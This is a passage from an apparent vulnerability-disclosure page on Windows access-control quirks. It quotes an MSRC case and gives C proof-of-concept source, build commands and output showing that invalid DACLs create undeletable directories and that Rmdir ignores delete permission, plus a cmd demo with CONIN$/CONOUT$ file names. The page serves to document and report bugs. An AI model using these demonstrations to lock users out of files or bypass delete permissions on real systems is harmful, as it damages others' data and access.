Step O: delete directory 'Quirk16d.tmp'
Ouch⁴: ICACLs.exe adds inheritable ACEs with the invalid access masks AS alias ACCESS_SYSTEM_SECURITY and MA alias MAXIMUM_ALLOWED to DACLs!

Note: without an inheritable ACE from its parent object the default security descriptor from the process’s access token is applied to a new object.

Ouch⁵: both CACLs.exe and the builtin Del alias Erase command of the Command Processor fail without SYNCHRONIZE access permission to the parent directory of the filesystem object to access!

Note: both ICACLs.exe and CACLs.exe fail (expected) when the ACE (D;;;;;OW) with access mask 0 alias NO_ACCESS is present in the DACL; it overrides the implicit RC alias READ_CONTROL and WDAC alias WRITE_DAC access rights granted to the object’s owner and has the same effect as the ACE (A;;;;;OW).

Ouch⁶: the builtin Rd alias Rmdir command of the Command Processor succeeds despite the missing SD alias STANDARD_DELETE access permission!

Security Impact

The bugs demonstrated above allow to delete directories without STANDARD_DELETE access permission as well as to deny (un)intentionally any access to (filesystem) objects via the ACCESS_SYSTEM_SECURITY and MAXIMUM_ALLOWED access permissions!

MSRC Case 65060

Due to their security impact I reported these bugs to the MSRC, where case number 65060 was assigned.

They replied with the following statements:

Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).

However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.

Quirk № 17

The Win32 functions CreateDirectory() and CreateFile() are documented in the MSDN as follows:
BOOL CreateDirectory(
  LPCTSTR               lpPathName,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
[…]

lpSecurityAttributes

A pointer to a SECURITY_ATTRIBUTES structure. The lpSecurityDescriptor member of the structure specifies a security descriptor for the new directory. […]

BOOL CreateFile(
  LPCTSTR               lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);
[…]

lpSecurityAttributes

A pointer to a SECURITY_ATTRIBUTES structure that contains two separate but related data members: an optional security descriptor, […]

The lpSecurityDescriptor member of the structure specifies a SECURITY_DESCRIPTOR for a file or device. […]

The SECURITY_ATTRIBUTES and SECURITY_DESCRIPTOR structures are documented as follows:
typedef struct _SECURITY_ATTRIBUTES {
  DWORD  nLength;
  LPVOID lpSecurityDescriptor;
  BOOL   bInheritHandle;
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
[…]

lpSecurityAttributes

A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object. […]

A security descriptor includes information that specifies the following components of an object's security:
The Win32 functions DeleteFile(), DeleteFileTransacted(), MoveFileEx(), MoveFileWithProgress(), RemoveDirectory() and ReplaceFile() are documented in the MSDN as follows:
BOOL DeleteFile(
  LPCTSTR lpFileName
);
[…]

lpFileName

The name of the file to be deleted.

[…]

BOOL MoveFileEx(
  LPCTSTR lpExistingFileName,
  LPCTSTR lpNewFileName,
  DWORD   dwFlags
);
[…]

lpExistingFileName

The current name of the file or directory on the local computer.

[…]

lpNewFileName

The new name of the file or directory on the local computer.

[…]

Oops: the highlighted sentences above and below but contradict the linked MSDN article File Security and Access Rights by 5÷1!
BOOL MoveFileWithProgress(
  LPCTSTR            lpExistingFileName,
  LPCTSTR            lpNewFileName,
  LPPROGRESS_ROUTINE lpProgressRoutine,
  LPVOID             lpData,
  DWORD              dwFlags
);
[…]

lpExistingFileName

The current name of the file or directory on the local computer.

[…]

lpNewFileName

The new name of the file or directory on the local computer.

[…]

BOOL RemoveDirectory(
  LPCTSTR lpPathName
);
[…]

lpPathName

The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.

RemoveDirectory() but fails to delete empty directories created with the same access rights as files!

Demonstration

Perform the following 9 simple steps to show the (mis)behaviour.
  1. Create the text file quirk17.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <sddl.h>
    #include <aclapi.h>
    
    #if ANYSIZE_ARRAY != 1
    #error ANYSIZE_ARRAY must be defined as 1!
    #endif
    
    #ifndef _WIN64
    #pragma intrinsic(memcmp)
    #else
    #pragma function(memcmp)
    
    int	memcmp(char const *left, char const *right, size_t count)
    {
    	size_t	tmp;
    	char	cb;
    
    	for (tmp = 0; tmp < count; tmp++)
    		if (cb = left[tmp] - right[tmp])
    			return cb;
    	return 0;
    }
    #endif
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    typedef	struct	_ace
    {
    	ACE_HEADER	Header;
    	ACCESS_MASK	Mask;
    	SID		Trustee;
    } ACE;
    
    const	struct	_acl
    {
    	ACL	acl;
    	ACE	ace[ANYSIZE_ARRAY];
    } acl = {{ACL_REVISION, 0, sizeof(acl), ANYSIZE_ARRAY, 0},
    #if 0			// D:P(A;NP;FA;;;AU)
             {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               FILE_ALL_ACCESS,
               {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}}};
    #else			// D:P(A;NP;SD;;;OW)
             {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               DELETE,
               {SID_REVISION, 1, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}}};
    #endif
    
    const	struct	_dacl
    {
    	ACL	acl;
    	ACE	ace[ANYSIZE_ARRAY];
    } dacl = {{ACL_REVISION, 0, sizeof(dacl), ANYSIZE_ARRAY, 0},
    #ifndef QUIRKS		// D:P(A;NP;0x1f0000;;;OW)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                STANDARD_RIGHTS_ALL,
                {SID_REVISION, 1, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}}};
    #elif QUIRKS == 0	// D:P(A;NP;FA;;;AU)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                FILE_ALL_ACCESS,
                {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}}};
    #elif QUIRKS == 1	// D:P(A;NP;0x1f0000;;;S-1-5-15)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                STANDARD_RIGHTS_ALL,
                {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_THIS_ORGANIZATION_RID}}}};
    #elif QUIRKS == 2	// D:P(A;NP;FA;;;PS)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                FILE_ALL_ACCESS,
                {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_PRINCIPAL_SELF_RID}}}};
    #elif QUIRKS == 3	// D:P(A;NP;0x1f0000;;;S-1-5-1000)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                STANDARD_RIGHTS_ALL,
                {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_OTHER_ORGANIZATION_RID}}}};
    #elif QUIRKS == 4	// D:P(A;NP;0x3000000;;;IU)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                ACCESS_SYSTEM_SECURITY | MAXIMUM_ALLOWED,
                {SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_INTERACTIVE_RID}}}};
    #else	// NOTE: construct an INVALID DACL!
              {{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, 0, sizeof(ACE)},
                SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
                {SID_REVISION, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}}};
    #endif
    
    const	struct	_sacl
    {
    	ACL	acl;
    	ACE	ace[ANYSIZE_ARRAY];
    } sacl = {{ACL_REVISION, 0, sizeof(sacl), ANYSIZE_ARRAY, 0},
              {{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, 0, sizeof(ACE)},
                SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
                {SID_REVISION, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}}};
    
    const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
    				      0,
    #ifdef QUIRKS
    				      SE_DACL_PRESENT | SE_DACL_PROTECTED | SE_GROUP_DEFAULTED | SE_OWNER_DEFAULTED | SE_SACL_DEFAULTED,
    #else	// BUG: CreateFile*() and CreateDirectory*() fail with ERROR_PRIVILEGE_NOT_HELD when a "mandatory label" is present!
    				      SE_DACL_PRESENT | SE_DACL_PROTECTED | SE_GROUP_DEFAULTED | SE_OWNER_DEFAULTED | SE_SACL_PRESENT | SE_SACL_PROTECTED,
    #endif
    				      (SID *) NULL,
    				      (SID *) NULL,
    #ifdef QUIRKS
    				      (ACL *) NULL,
    #else
    				      &sacl,
    #endif
    				      &dacl};
    
    const	SECURITY_ATTRIBUTES	sa = {sizeof(sa),
    				      &sd,
    				      FALSE};
    
    const	WCHAR	szName[] = L"Quirk17.tmp";
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	SECURITY_DESCRIPTOR	*lpSD;
    
    	ACL	*lpDACL;
    	LPWSTR	lpSDDL;
    	DWORD	dwError;
    	DWORD	dwFile;
    	HANDLE	hFile;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
    		                                                         SDDL_REVISION_1,
    		                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    		                                                         &lpSDDL,
    		                                                         (LPDWORD) NULL))
    			PrintConsole(hConsole,
    			             L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"Using security descriptor \'%ls\' to create file and directory \'%ls\'\n",
    			             lpSDDL, szName);
    
    			if (LocalFree(lpSDDL) != NULL)
    				PrintConsole(hConsole,
    				             L"LocalFree() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    
    		hFile = CreateFile(szName,
    		                   FILE_WRITE_DATA | READ_CONTROL,
    		                   FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
    		                   &sa,
    		                   CREATE_NEW,
    #if 0
    		                   FILE_FLAG_DELETE_ON_CLOSE,
    #else
    		                   FILE_ATTRIBUTE_NORMAL,
    #endif
    		                   (HANDLE) NULL);
    
    		if (hFile == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"CreateFile() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwError = GetSecurityInfo(hFile,
    			                          SE_FILE_OBJECT,
    			                          OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    			                          (SID **) NULL,
    			                          (SID **) NULL,
    			                          &lpDACL,
    			                          (ACL **) NULL,
    			                          &lpSD);
    
    			if (dwError != ERROR_SUCCESS)
    				PrintConsole(hConsole,
    				             L"GetSecurityInfo() returned error %lu\n",
    				             dwError);
    			else
    			{
    				if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
    				                                                         SDDL_REVISION_1,
    				                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    				                                                         &lpSDDL,
    				                                                         (LPDWORD) NULL))
    					PrintConsole(hConsole,
    					             L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"File \'%ls\' created with security descriptor \'%ls\'\n",
    					             szName, lpSDDL);
    
    					if (LocalFree(lpSDDL) != NULL)
    						PrintConsole(hConsole,
    						             L"LocalFree() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    
    				if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
    					PrintConsole(hConsole,
    					             L"DACL of file differs from original DACL!\n");
    
    				if (LocalFree(lpSD) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    
    			if (!WriteFile(hFile,
    			               L"\xFEFF",	// UTF-16LE byte order mark
    			               sizeof(L'\xFEFF'),
    			               &dwFile,
    			               (LPOVERLAPPED) NULL))
    				PrintConsole(hConsole,
    				             L"WriteFile() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				if (dwFile != sizeof(L'\xFEFF'))
    					PrintConsole(hConsole,
    					             L"WriteFile() failed, %lu of %lu bytes written\n",
    					             dwFile, sizeof(L'\xFEFF'));
    
    			if (!CloseHandle(hFile))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             dwError = GetLastError());
    
    			if (!DeleteFile(szName))
    			{
    				PrintConsole(hConsole,
    				             L"DeleteFile() returned error %lu\n",
    				             dwError = GetLastError());
    
    				if (dwError == ERROR_ACCESS_DENIED)
    				{
    					dwError = SetNamedSecurityInfo(szName,
    					                               SE_FILE_OBJECT,
    					                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
    					                               (SID *) NULL,
    					                               (SID *) NULL,
    					                               &acl,
    					                               (ACL *) NULL);
    
    					if (dwError != ERROR_SUCCESS)
    						PrintConsole(hConsole,
    						             L"SetNamedSecurityInfo() returned error %lu\n",
    						             dwError);
    					else
    						if (!DeleteFile(szName))
    							PrintConsole(hConsole,
    							             L"DeleteFile() returned error %lu\n",
    							             dwError = GetLastError());
    
    					dwError = ERROR_ACCESS_DENIED;
    				}
    			}
    		}
    
    		if (!CreateDirectory(szName,
    		                     &sa))
    			PrintConsole(hConsole,
    			             L"CreateDirectory() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwError = GetNamedSecurityInfo(szName,
    			                               SE_FILE_OBJECT,
    			                               OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    			                               (SID **) NULL,
    			                               (SID **) NULL,
    			                               &lpDACL,
    			                               (ACL **) NULL,
    			                               &lpSD);
    
    			if (dwError != ERROR_SUCCESS)
    				PrintConsole(hConsole,
    				             L"GetNamedSecurityInfo() returned error %lu\n",
    				             dwError);
    			else
    			{
    				if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
    				                                                         SDDL_REVISION_1,
    				                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    				                                                         &lpSDDL,
    				                                                         (LPDWORD) NULL))
    					PrintConsole(hConsole,
    					             L"ConvertSecurityDescriptorToStringSecurityDescriptor() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"Directory \'%ls\' created with security descriptor \'%ls\'\n",
    					             szName, lpSDDL);
    
    					if (LocalFree(lpSDDL) != NULL)
    						PrintConsole(hConsole,
    						             L"LocalFree() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    
    				if (memcmp(lpDACL, &dacl, sizeof(dacl)) != 0)
    					PrintConsole(hConsole,
    					             L"DACL of directory differs from original DACL!\n");
    
    				if (LocalFree(lpSD) != NULL)
    					PrintConsole(hConsole,
    					             L"LocalFree() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    
    			if (!RemoveDirectory(szName))
    			{
    				PrintConsole(hConsole,
    				             L"RemoveDirectory() returned error %lu\n",
    				             dwError = GetLastError());
    
    				if (dwError == ERROR_ACCESS_DENIED)
    				{
    					dwError = SetNamedSecurityInfo(szName,
    					                               SE_FILE_OBJECT,
    					                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
    					                               (SID *) NULL,
    					                               (SID *) NULL,
    					                               &acl,
    					                               (ACL *) NULL);
    
    					if (dwError != ERROR_SUCCESS)
    						PrintConsole(hConsole,
    						             L"SetNamedSecurityInfo() returned error %lu\n",
    						             dwError);
    					else
    						if (!RemoveDirectory(szName))
    							PrintConsole(hConsole,
    							             L"RemoveDirectory() returned error %lu\n",
    							             dwError = GetLastError());
    
    					dwError = ERROR_ACCESS_DENIED;
    				}
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk17.exe from the source file quirk17.c created in step 1., with the preprocessor macro QUIRKS defined as 0 or 1:

    SET CL=/GAFy /Oisy /W4 /wd4090 /Zl
    SET LINK=/DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE /DQUIRKS=0 quirk17.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk17.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
  3. Execute the console application quirk17.exe built in step 2. to verify its proper function:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Using security descriptor 'D:P(A;NP;FA;;;AU)' to create file and directory 'Quirk17.tmp'
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)'
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)'
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    A file as well as a directory created (for example) with only the DACL D:P(A;NP;FA;;;AU) or D:P(A;NP;0x1f0000;;;S-1-5-15) can be deleted.
  4. Build the console application quirk17.exe a second time from the source file quirk17.c created in step 1., now with the preprocessor macro QUIRKS defined as 2 or 3:

    CL.EXE /DQUIRKS=2 quirk17.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
  5. Execute the console application quirk17.exe built in step 4. to show the misbehaviour:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Using security descriptor 'D:P(A;NP;FA;;;PS)' to create file and directory 'Quirk17.tmp'
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
    RemoveDirectory() returned error 5
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: while a file created (for example) with only the DACL D:P(A;NP;FA;;;PS) or D:P(A;NP;0x1f0000;;;S-1-5-1000) can be deleted, a directory created with only this DACL can’t be deleted!
  6. Build the console application quirk17.exe a third time from the source file quirk17.c created in step 1., now with the preprocessor macro QUIRKS defined as 4:

    CL.EXE /DQUIRKS=4 quirk17.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
  7. Execute the console application quirk17.exe built in step 6. to show a second misbehaviour:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Using security descriptor 'D:P(A;NP;0x3000000;;;IU)' to create file and directory 'Quirk17.tmp'
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)'
    DACL of file differs from original DACL!
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)'
    DACL of directory differs from original DACL!
    RemoveDirectory() returned error 5
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: the Win32 functions ConvertSecurityDescriptorToStringSecurityDescriptor(), CreateDirectory() and CreateFile() fail to detect the (intentionally) invalid DACL D:P(A;NP;0x3000000;;;IU); the latter functions apply a DACL D:P(A;NP;;;;IU) instead, granting only implicit (A;NP;WDRC;;;OW) access for the object’s owner!
  8. Build the console application quirk17.exe a fourth time from the source file quirk17.c created in step 1., now with the preprocessor macro QUIRKS defined as 5:

    CL.EXE /DQUIRKS=5 quirk17.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:ADVAPI32.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
  9. Execute the console application quirk17.exe built in step 8. to show a third misbehaviour:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    ConvertSecurityDescriptorToStringSecurityDescriptor() returned error 1336
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P'
    DACL of file differs from original DACL!
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P'
    DACL of directory differs from original DACL!
    RemoveDirectory() returned error 5
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: while the Win32 function ConvertSecurityDescriptorToStringSecurityDescriptor() now properly detects the (intentionally) invalid DACL D:P(ML;;NXNRNW;;;ME) and returns the Win32 error code 1336 alias ERROR_INVALID_ACL, both CreateDirectory() and CreateFile() fail to detect it and apply the empty DACL D:P instead, again granting only implicit (A;NP;WDRC;;;OW) access for the object’s owner!
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 18

The documentation for the Win32 function CreateFile() specifies how to use the filenames CONIN$ and CONOUT$:
The CreateFile function can create a handle to console input (CONIN$). If the process has an open handle to it as a result of inheritance or duplication, it can also create a handle to the active screen buffer (CONOUT$). The calling process must be attached to an inherited console or one allocated by the AllocConsole function. For console handles, set the CreateFile parameters as follows.
Parameters Value
lpFileName Use the CONIN$ value to specify console input.
Use the CONOUT$ value to specify console output.

CONIN$ gets a handle to the console input buffer, even if the SetStdHandle function redirects the standard input handle. To get the standard input handle, use the GetStdHandle function.

CONOUT$ gets a handle to the active screen buffer, even if SetStdHandle redirects the standard output handle. To get the standard output handle, use GetStdHandle

dwDesiredAccess GENERIC_READ | GENERIC_WRITE is preferred, but either one can limit access.
dwShareMode When opening CONIN$, specify FILE_SHARE_READ. When opening CONOUT$, specify FILE_SHARE_WRITE.

If the calling process inherits the console, or if a child process should be able to access the console, this parameter must be FILE_SHARE_READ | FILE_SHARE_WRITE.

lpSecurityAttributes If you want the console to be inherited, the bInheritHandle member of the SECURITY_ATTRIBUTES structure must be TRUE.
dwCreationDisposition You should specify OPEN_EXISTING when using CreateFile to open the console.
dwFlagsAndAttributes Ignored.
hTemplateFile Ignored.
Note: the MSDN article Naming Files, Paths, and Namespaces fails to define the names CONIN$ and CONOUT$ as reserved or special.

The MSDN article Console Handles specifies:

GetFileType can assist in determining what device type the handle refers to. A console handle presents as FILE_TYPE_CHAR.

Demonstration (Variant 1)

Start the Command Processor Cmd.exe and run the following command lines to show the (mis)behaviour:
VER
CHDIR /D "%PUBLIC%"
ECHO Step 1: create files CONERR$, CONIN$ and CONOUT$
COPY "%COMSPEC%" CONERR$
COPY "%COMSPEC%" CONIN$
COPY "%COMSPEC%" CONOUT$
ECHO Step 2: rename file CONERR$ to CONIN$ to CONOUT$ to CONERR$
RENAME CONERR$ CONIN$
RENAME CONIN$ CONOUT$
RENAME CONOUT$ CONERR$
ECHO Step 3: move file CONERR$ to CONIN$ to CONOUT$ to CONERR$
MOVE CONERR$ CONIN$
MOVE CONIN$ CONOUT$
MOVE CONOUT$ CONERR$
ECHO Step 4: create hardlinks CONIN$ and CONOUT$
MKLINK /H CONIN$ CONERR$
MKLINK /H CONOUT$ CONIN$
DIR CON*$
ECHO Step 5: execute CONIN$ and CONOUT$
.\CONIN$
.\CONOUT$
ECHO Step 6: overwrite CONIN$ and CONOUT$
COPY CONERR$ CONIN$
COPY CONERR$ CONOUT$
DIR CON*$
ERASE CONOUT$
ECHO Step 7: create subdirectory CONIN$, copy file CONERR$ into it, then erase both
MKDIR CONIN$
COPY CONERR$ CONIN$
ERASE CONIN$\CONERR$
RMDIR CONIN$
ECHO Step 8: create subdirectory CONOUT$, copy file CONERR$ into it, then erase both
MKDIR CONOUT$
COPY CONERR$ CONOUT$
ERASE CONOUT$\CONERR$
RMDIR CONOUT$
ECHO Step 9: cleanup
ERASE CONERR$
Note: the command lines can be copied and pasted as block into a Command Processor window!
Microsoft Windows [Version 6.1.7601]
Step 1: create files CONERR$, CONIN$ and CONOUT$
        1 file(s) copied.
Access denied
        0 file(s) copied.
The handle is invalid.
        0 file(s) copied.
Step 2: rename file CONERR$ to CONOUT$ to CONIN$ to CONERR$
Step 3: move file CONERR$ to CONOUT$ to CONIN$ to CONERR$
        1 file(s) moved.
        1 file(s) moved.
Step 4: create hardlinks CONIN$ and CONOUT$
Hardlink created for CONIN$ <<===>> CONERR$
Hardlink created for CONOUT$ <<===>> CONIN$

 Volume in drive C has no label.
 Volume Serial Number is 1957-0427

 Directory of C:\Users\Public

06/12/2016   6:55 AM           345,088 CONERR$
06/12/2016   6:55 AM           345,088 CONIN$
06/12/2016   6:55 AM           345,088 CONOUT$
               3 File(s)      1,035,264 bytes
               2 Dir(s)   9,876,543,210 bytes free

Step 5: execute CONIN$ and CONOUT$
'.\CONIN$' is not recognized as an internal or external command, operable program or batch file.
'.\CONOUT$' is not recognized as an internal or external command, operable program or batch file.
Step 6: overwrite CONIN$ and CONOUT$
The handle is invalid.
        0 file(s) copied.
MZ[…]This program cannot be run in DOS mode.
[…]

 Volume in drive C has no label.
 Volume Serial Number is 1957-0427

 Directory of C:\Users\Public

06/12/2016   6:55 AM           345,088 CONERR$
